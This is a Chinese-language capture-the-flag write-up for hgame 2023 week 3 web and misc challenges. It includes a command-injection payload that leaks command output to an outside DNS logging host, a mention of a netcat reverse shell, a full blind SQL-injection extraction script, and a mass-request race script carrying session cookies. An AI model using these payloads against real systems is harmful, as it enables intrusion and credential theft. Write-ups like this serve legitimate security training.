hgame——week3——wp

web

1，Ping To The Host

以为是个简单的ping题，结果发现没有回显，利用dnslog来进行数据外带

用dnslog在线使用，然后payload：ip=`ls|base64`.xxxxxx.dnslog.cn正常rce就行

Get SubDomain Refresh Record

qjhoe1.dnslog.cn

DNS Query Record	IP Address	Created Time
YXBwLnB5CnN0YXRpYwp0ZW1wbGF0ZXM K.qjhoe1.dnslog.cn	47.99.235.67	2023-01-25 20:53:28
templates.qjhoe1.dnslog.cn	47.99.235.67	2023-01-25 20:53:05
templates.qjhoe1.dnslog.cn	47.99.235.67	2023-01-25 20:53:05

之后尝试了一下反弹shell，nc监听，也可以出

hgame{p1nG_t0_ComM4nD_ExecUt1on_dAngErRrRrRrR!}

2，Login To Get My Gift

```
import requests
flag = ''
def attack_post(url):
    global flag
    r = requests.session()
    for i in range(1, 100000):
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:
            payload = f"a'/**/||/**/((ascii(right(left(database(),{i}),1)))
<{mid})#"
            payload1 =
f"a'/**/||/**/((ascii(right(left((select/**/group_concat(table_name)/**/from/**/
information_schema.tables/**/where/**/table_schema/**/regexp/**/database()),
{i}),1)))<{mid})#"
            payload2 =
f"a'/**/||/**/((ascii(right(left((select/**/group_concat(column_name)/**/from/**
/information_schema.columns/**/where/**/table_name/**/regexp/**/'User1nfOmAt1on'
),{i}),1)))<{mid})#"
            payload3 =
f"a'/**/||/**/((ascii(right(left((select/**/group_concat(concat_ws(':',UsErN4me,
PAsswOrD))/**/from/**/User1nfOmAt1on),{i}),1)))<{mid})#"
            # print(payload)
            data = {
                'username': 'testuser',
                'password': payload3
```

```
            }
            rp = r.post(url, data=data)
            # print(rp.text)
            if 'Success!' in rp.text:
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        flag += chr(mid - 1)
        print(flag)
if __name__ == '__main__':
    url = 'http://week-3.hgame.lwsec.cn:31988/login'
    attack_post(url)
```

得到admin的账号和密码

hgAmE2023HAppYnEwyEAr

WeLc0meT0hgAmE2023hAPPySql

登陆后得到flag

hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}

3，Gopher Shop

审计go代码，整数溢出overflower

1. GetUserInfo: 根据用户名从数据库中获取用户信息，并返回用户的库存、天数和余额。
2. BuyProduct: 根据用户名和商品名购买商品，并扣除相应的余额和天数。
3. SellProduct: 根据用户名和商品名卖出商品，并增加相应的余额和天数。
4. BuyInventory: 根据用户名购买库存，并扣除相应的余额和天数。
5. GetOrderSum: 根据用户名获取用户的订单汇总信息。
6. Tanking: 根据用户名扣除一天的天数。
7. CheckFlag: 根据用户名检查用户是否购买过flag商品，如果购买过返回 flag

```
import requests
import threading
headers = {
    'Cookie':
'SESSION=MTY3NDU1MjI0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw23LorOFg5LmryZzZcxm8ESbYpNFaTv1UjY2UkMozyJw==; '

 'session=MTY3NDcwNzYyM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQW9BQOhWelpYSnVZVzFsQm5OMGNtbHVad3dIQUFWaFpHMXBiZzO9fM5a-9HM-
2vbFCrfAbfLVUO49emtbxCloYDTab3QDEx-'
}
def get(url):
    r = requests.get(url=url, headers=headers)
if __name__ == '__main__':
    url = 'http://week-3.hgame.lwsec.cn:30803/api/v1/user/buyProduct?
product=Flag&number=1'
    for i in range(100000):
        threading.Thread(target=get, args=(url,)).start()
```

hgame{GopherShop_M@gic_1nt_0verflow}

misc

1，Tunnel

直接在Linux环境下运行 strings tunnel.pcapng | grep hgame

hgame{ikev1_may_not_safe_aw987rtgh}

2，Tunnel Revange

拿wireshark打开 然后看到一大堆tftp协议，然后搜一下 就知道这玩意是个有点像ftp一样的东西， 把每个block的data连起来，查一下tftp协议的详细内容，就能提取出来，然后查找资料（太难了）